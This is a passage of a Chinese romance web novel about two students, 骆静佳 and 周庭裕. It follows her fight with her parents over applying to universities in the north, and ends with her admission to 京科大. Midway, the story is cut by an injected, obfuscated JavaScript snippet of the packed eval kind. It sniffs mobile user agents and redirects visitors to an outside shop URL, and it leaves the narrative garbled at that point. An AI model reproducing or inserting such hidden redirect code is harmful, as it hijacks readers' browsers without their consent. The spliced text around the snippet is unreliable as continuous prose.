骆静佳从来没有说过自己的梦想,是他先入为主了。 周庭裕眉头松了些,“你想当老师?或者公务员?” 可回应他的却不是肯定,而是沉默。 周庭裕张张嘴,欲言又止。 骆静佳憋出一句:“他们希望我能留下来。” “不留会怎样?”他用理所当然的语气反问。 骆静佳又愣住了。 她倒是没想过会怎么样…… 但她很快意识到,这就是她和周庭裕之间的某条鸿沟。 天生的性格差异,和不同的成长的环境,造就了两只不同的鸟儿。 骆静佳抿抿唇,“总之反抗不是你想得那么简单。” 他乐了,都用上反抗这个词了。 “骆静佳,我不是想怂恿你起义。”周庭裕很客观地说,“只是读书真的很辛苦,我希望你做的决定可以对得起你高三每一个咬牙坚持的瞬间。” “就拿我自己来说吧。我填志愿的时候,我爸妈各执一词,一个希望我去京都,一个希望我去西城,表面上都是为我好,实则是在抢主动权。他们考虑这个问题的时候,想的不是我的人生,而是输赢。后来我考上了京科大,我高兴得恨不得放鞭炮,但我妈却觉得我选择了我爸,半年没和我说话。” 骆静佳捏着酸奶瓶,融化的水珠沁入她的掌纹。 她想说点什么,又不知道该说什么。 “其实我填志愿的时候,他们之间的气氛就已经剑拔弩张了。我不希望父母吵架,却也不想对不起自己。毕竟文科状元听起来风光,实则要吃好多苦。我每天四点钟起床,晚的话甚至一两点才睡觉,经常会有‘真的要学吐了’的感觉。人人都说我聪明,可是聪明只是起点,聪明不能代替努力。所以我就想啊,我这么拼命,可不是为了讨好谁、满足谁的愿望的。” “我决定北上,非要说的话,我是选了我自己。” 他从她脚畔的雨滴中抽回视线,说到这里,狠狠地吸了一口酸奶。 骆静佳看他陷下去的两腮和清晰的下颌线,突然好奇蓝莓味好不好喝。 周庭裕双肘压在膝上,目视前方。 “我知道你的努力不比我少,能考上我们高中,高考又能考出这个分数,你很了不起。”他肯定着她,“所以我希望,你可以去你想去的乐园。” 他们的门票并不是上帝的恩赐,而是命运的回馈。 “骆静佳,这不是‘反抗’,是选择。” 雨还在下。 她说:“可我不能保证,我的选择会比父母的选择好。” 她不知道自己该如何用短短十几年的人生,去说服已经经历了半个时代的大人。 “没有人能保证这个。”他说,“我也不能保证。” 他的语气幽默:“说不定我这辈子最得意的瞬间,就是高考了。” 骆静佳看了他一眼,发现周庭裕是认真的。 原来他也不是那么游刃有余……原来,大家都会像她一样纠结、迷茫、在死胡同里打转。 她的酸奶化了。 她问了一个,一年前就想问,却没有机会和身份开口的问题。 “大学好玩吗?” “一般。”他实话实说,“但自由的感觉,很爽。” 骆静佳露出一个微笑,不至于放晴,但阴雨转多云。 便利店只剩一把伞了,他们不得已挤在一起,共撑着走回去。 肩膀第三次碰到一起时,她终于意识到,他比看起来还要高大。 也更强大。 少女冷不丁地提起:“你刚才和我说的那些励志语录,是不是你之前回校的演讲稿?” 周庭裕愣了:“什么演讲稿?我只是回来看老师,都没去教室。” 骆静佳不语。 说到这个,周庭裕倒想起来了:“你知道我回来了?那我在球场和你打招呼,你怎么装没看见?” “因为不熟。” “什么不熟?和我不熟?不是,你……” 湿漉漉的地面上,水坑里泛着雨水落下时漾起的波澜,他们走过的时候,影子被短暂地纪念下来。 - 做完最后一杯,旁边的同事松了口气。 骆静佳也累坏了,今天店里接了个公司的下午茶单,忙得人精神恍惚。 已经到饭点了,但大家都不想动,过了一会儿才陆陆续续地到附近觅食。 骆静佳没胃口,同事问要不要帮她带个饭团,她想了想,说麻烦你了。 大家都出去了,她靠着柜子,终于有时间看一眼手机。 点开微信,发现除了群消息和赵琳琅的红点以外,还多了一条好友验证。 骆静佳点开,对方的自我介绍是:沈秋易。 她犹豫了一下,点了通过。 再点开和赵琳琅的对话框,说的果然是这件事:“沈师兄一听说你有手机了,马上就来找我要了你的联系方式。我给了才反应过来没问你,对不起嘛~” 骆静佳回了个:[没事。] … 陈行逸在肯德基里大快朵颐,和隋安一左一右坐着,两个人吃得满嘴流油。 隋安看着一口没动的周庭裕,问:“哥哥,你怎么不吃啊?” 周庭裕闻言,收回眺望的时间,笑笑:“我没胃口。” “为什么?你生病了吗?” “不是。”他装模作样地揉揉胃,“我吃饱了而已。” 陈行逸给隋安拿了对烤翅:“安安别理他,我们吃。你哥前两天放了我鸽子,这会儿在赎罪呢。” 隋安眨眼:“什么叫赎罪?” 周庭裕在桌子底下踩了陈行逸一脚:“什么叫放鸽子?是那晚下雨了好不好。” 陈行逸纠正他:“下雨前你就已经没打算来了,把我一个人丢在球场。” “说!干什么去了!” 周庭裕吸了口气,想到这两天又杳无音讯的骆静佳,还有刚才买单时,摸到口袋里的两百块。 他狠狠吸了口可乐。 “没干嘛。”他一脸深仇大怨,根本不像没事。 陈行逸等隋安去上厕所了才问:“到底怎么了,看你一脸愁容的。” 周庭裕摇头:“这几天下雨下得人心烦而已。” 南城的夏季就是如此,他明明早已习惯。 却因为那晚骆静佳表现出来的犹豫不决,而生出难以散去的担忧。 那个雨夜过后的隔天,他在楼道里碰到林素萍,对方感激他之前帮的忙,给了他一袋新鲜西红柿,说是娘家种的,纯绿色无公害。 周庭裕收了,也谢了,见她心情颇佳,不像装的。 如果骆静佳“反抗”了,林素萍不可能是这个反应。 所以,她做了什么选择呢? 周庭裕刷地站起来,吓了陈行逸一跳。 “待会麻烦你送我妹回家,我去个地方。”他丢下这样一句话就走了。 一路狂奔到奶茶店,周庭裕在五十米外刹住车,欲盖弥彰地在小程序上点了杯奶茶。 又在外面等了五分钟,才若无其事地走进店里。 “欢迎光临。”陌生的声音迎接他。 他朝店员点点头,直奔取餐区。 不知道兔牙妹今天上班了没有…… 那里已经站了个人。 周庭裕眼看着他接过已经打包好的奶茶,却没走,站在那里和店员说话。 他听见那男的问:“今晚有空吗,可以一起吃个饭吗?” 周庭裕皱了下眉,第一反应是老土,第二反应是,这人怎么有点眼熟? 往前走一步,看清侧脸。 草! 他真的没忍住骂出来。 这不是沈秋易吗! “不好意思,我有事情。”熟悉的声音在婉拒,“等我有空了,我联系你可以么?” “……” 周庭裕逼近,果然看到了戴着鸭舌帽的骆静佳。 且因为他的出现,两个人都看了过来。 骆静佳脸色一滞,目不斜视。 沈秋易一愣,和他打了个招呼:“好巧。” 周庭裕点点头,“好巧。” 两人高一没分班前是同学,只能说是认识,并不算朋友,是以也没什么可寒暄的。 沈秋易问候完就扭过头,朝骆静佳做了个打电话的手势:“那我走了,等你消息。” 骆静佳点了下头,目送他的时候触及周庭裕的脸,很快收回视线。 沈秋易也和周庭裕说了再见,但周庭裕没理他,单刀直入地质问这个心虚的店员。 “你怎么回事?” 骆静佳手插在围裙兜里:“什么?” 周庭裕想起自己吃不好也睡不好的二十四小时,气急:“我在担心你这个人才的未来,结果人才本才在这里和别人打情骂俏!” 她脸色淡淡:“你胡说什么。” 他恨铁不成钢:“谈恋爱什么时候不能谈?你志愿下来了再谈也来得及吧?不然到时候异地了怎么办?” 她没想到他能脑补这么多,皱眉:“这位先生,您取餐吗?取餐码给我看一下” 他亮屏,嘴不饶人:“真的不是我吓唬你,沈秋易人也在京都,万一你留在南城,那你两之间就要相隔两千公里了!” 她砰地把他的奶茶砸到他手边,仅差一毫米就会砸中他的手:“八字没一撇的事。” 他捂着手,没砸中但一副受伤的样子:“你刚刚不是都约他吃饭了?” 她一个头两个大:“那我有什么办法?我不答应他他就天天来。” 他显然经验丰富:“如果你态度足够坚决,人家怎么会心怀希望呢?” 她破罐子破摔:“那别人喜欢我我有什么办法——” 同事看过来。 骆静佳彻底恼羞成怒,驱赶被她吼得一愣的羞愧祸首:“你赶紧走,别影响我上班。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394639|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周庭裕服了:“你刚怎么不这样和沈秋易说?” 骆静佳狂擦桌子,不接话茬。 周庭裕还不走,就站在那里喝奶茶。 他是消费者,是上帝! 骆静佳受不了了,发信息问他:[你到底是来干嘛的?] [zty]:害怕有的人不经参谋长审核,偷偷填了不合理的志愿而来。 [A]:…… 骆静佳眼不见为净,和同事换了个位置。 结果过了一个小时,那人还坐在那里。 同事还取笑她:“追求者二号?” 骆静佳扯扯嘴角:“正义使者罢了。” 最后是她受不了了,发微信给正义使者。 [A]:放心。 … 隔天下午下了班,骆静佳没立刻回家,而是到厂的侧门等待。 骆振国刚吃完饭,晚上还要加班,接到她电话的时候姗姗来迟。 “爸。”骆静佳看到他出来,迎上去。 “怎么了?”女儿很少主动找她,骆振国的第一反应是出了什么事。 “过两天志愿就要截止了,我应该明天提交申请,这是大事,你什么时候有空,大家一起商量商量。” 骆静佳从小到大的衣食住行都是妻子在操心,他作为父亲,比起女儿成长路上的大小事,更操心钱。 难得骆静佳会主动和他商量,骆振国点点头,说知道了。这确实是件需要父母都参与的事情。 不过……看着骆静佳已经离开的背影,骆振国不放心地喊住她。 “佳佳。” “你是不是有什么事想和我单独说?” 第二天,骆振国早早打卡下班。 他回来的时候林素萍正在炒菜,见他提着烧鸭进来,林素萍还嗔怪了一句:“你买之前都不问问我!这下好了,一个盘子装不下。” 骆振国说:“没事,女儿爱吃。” 他掀开门帘看了看客厅,“还没回来呢?” 林素萍回答:“说是去图书馆了,书再不还就过期了。” 说到这个,林素萍突然深深叹了口气,故意道:“晚点回来也好,不然家里哪有地方给她待。” 骆振国点了根烟,没接话。 林素萍端着一碟青菜路过他,放到桌子上,返回厨房的时候跟他说:“这两天我又去看了几个小区,感觉还是新开发区那边那个好,价格也合适。你看看你能不能请个假,趁佳佳还没开学,赶紧把定金交了。” 骆振国含糊道:“买给女儿的东西要女儿自己喜欢才行。” 林素萍早就把骆静佳那点反常丢到脑后了:“她去看过了,那天我两一起去的,她没说不喜欢,就是喜欢。” 骆振国沉默,心里想到一个词,强买强卖。 骆静佳在吃饭前准时回来了。 奶奶最近状态好了一点,不用人喂了,自己也可以拿勺子,难得和他们坐在一起吃。 骆振国也让林素萍不用喂了,免得老人手部肌肉退化 林素萍没说话,但表情显然憋着一股气,搞得像是她多此一举似的。 骆静佳见状,主动提出洗碗,她也没拦,坐在客厅和丈夫怄气。 今晚并不是一个适合的时间,但是骆静佳不想再拖了。 她拿着志愿书,坐在他们中间,分别喊了一声爸和妈。 “我已经拟好志愿表了,就差提交。” 林素萍一改倦色,立马坐直:“报了哪里,报了什么?手机能看吗?给我瞧瞧。” 这几天她忙着看房,没顾上这事。一是放心女儿,二是从未做过被违背的预设。 所以当骆静佳提出,自己的第一第二第三志愿皆在北边的时候,林素萍几乎是暴跳如雷。 她当即站了起来,宣判罪名:“你跑那么远,你不要爸爸妈妈了?!” “妈,我刚已经说了,理科的名校基本上都在那边,如果运气好的话我能上京科大,科大可比南大好多了……” 林素萍不知道这些区别,在她的认知里,南大就是最好的。 任由骆静佳如何解释,她都置若罔闻,最后直接打断:“那房子呢?你要去外地上大学,我们买房给谁住?!” 骆静佳闭了闭眼,努力忍下这阵窒息。 越是难受,她越觉得这场冒险是有必要的。 房子还没买,她就已经有被戴上镣铐的感觉了。 现在只是择校都尚且如此,她不敢想更多的以后,不敢想无法飞翔的未来。 林素萍的眼泪都流下来了,直骂这个女儿没良心,见骆静佳无动于衷,又把矛头对准一直沉默吸烟的丈夫。 “你说句话啊,你就没意见吗?!” 骆振国想起骆静佳那天摇头的样子,这孩子明明心事重重,却不愿让他知道。 如今突然给予他们夫妻一记重创,骆振国有种意料之内的感觉。 他刚才听骆静佳解释了这么多,心里也清楚,女儿不是冲动,而是权衡利弊到了极致。 妻子平日里教育她凡事要做就做最好,她是真听进去了。 骆振国不顾妻子的崩溃,只问了骆静佳一个问题。 “一个人去外地,能好好照顾自己吧?” 周庭裕正在阳台帮隋鸢浇花,隐隐听见楼上传来激烈的争执。 淋完土,他还站在那里,清楚地听到女人歇斯底里的一句:“我再也不管你了!你爱去哪就去哪,我以后就当没有你这个女儿——” 四楼的人跑上去调解,大家你一嘴我一嘴的,叽叽喳喳似扰耳蝉鸣。 周庭裕站在楼梯口等了一会儿,没看到骆静佳下来。 想发微信给她,又怕她现在疲于应对关心。 他想了想,搬了张凳子到楼下。 骆静佳站在背面的小窗台上发呆。 客厅里充斥着哭泣和安慰,分贝具象化成打击,一下下砸着她的神经。 而她也仿佛在自虐,手里把玩着mp3和耳机线,迟迟不肯戴上。 刚才林素萍放下的每一句狠话都还有余音,骆静佳反复咀嚼着妈妈的痛苦,明明该觉得索然无味的,可心里还是忍不住泛起一阵苦涩。 她吸了口气,把眼泪一起吸回肚子里。 月光照亮她湿润的眼眶,她听见了歌声。 原以为是误触了播放器,细听才发现是现场直播。 吉他声从楼下传来,并不能覆盖这个夜晚的兵荒马乱,却在她满地狼籍的内心,开拓出一块可以休息的空地。 她看着那个渺小的人,听着熟悉得不能再熟悉的旋律,没忍住跟着他的节拍唱了起来。 … “第一次遇见阴天遮住你侧脸 有什么故事好想了解 我感觉我懂你的特别 你的心有一道墙 但我发现一扇窗 偶尔透出一丝暖暖的微光 就算你有一道墙 我的爱会攀上窗台盛放 打开窗你会看到悲伤融化” … 悲伤并没有融化。 但她打开窗,看到了一颗赤诚的心。 隔天她上班前,先去网吧提交了志愿。 刚穿上围裙,手机就震动起来。 [zty]:点了杯黑糖珍珠牛乳,但是临时有事,尾号xxxx,你帮忙喝一下。 骆静佳回了一串省略号。 特地去找了这张单子,才发现他留有备注—— 【不计划太多反而能勇敢冒险。】 - 七月下旬,南城最热的时分。 隋安在家里呆不住,每天都闹着去游泳,隋鸢不想顶着大太阳出门,常常委托周庭裕。 周庭裕抱怨过几次,倒也习惯了。 那天下午他们正要出门,隋安忘记拿自己最喜欢的唐老鸭泳镜,周庭裕站在楼下的露台等。 楼道里突然响起一阵凌乱的脚步声,噼里啪啦,动静之大,拖鞋都快跑飞了。 周庭裕从手机里抬头的时候,只看见一阵风刮过。 久等的邮差本来满腹怨言,但是看到少女头发凌乱、身穿睡衣、气喘吁吁的样子,牢骚又咽下去。 “小姑娘前途无量啊。” “谢谢!” 三轮车开走了。 骆静佳抖着手撕开封条,沉甸甸的录取通知书压得她手腕都有些痛。 灿烂的阳光将校徽晒得如同黄金般璀璨,额角的汗沿着侧脸滑落,她一张脸因气温和激动而红透。 骆静佳还没来得及开心,脑袋上就掉落一声笑。 那人的侧脸被一旁的树影映得斑驳,秀俊的眉眼里写着期待与温柔。 他手肘压在围栏边,自上而下地看着她。 目光因俯视而令人生出一股降落感,命运初定后的第一句祝福,就这样落在她的肩头。 “京科大欢迎你。” “学妹,请多多关照。”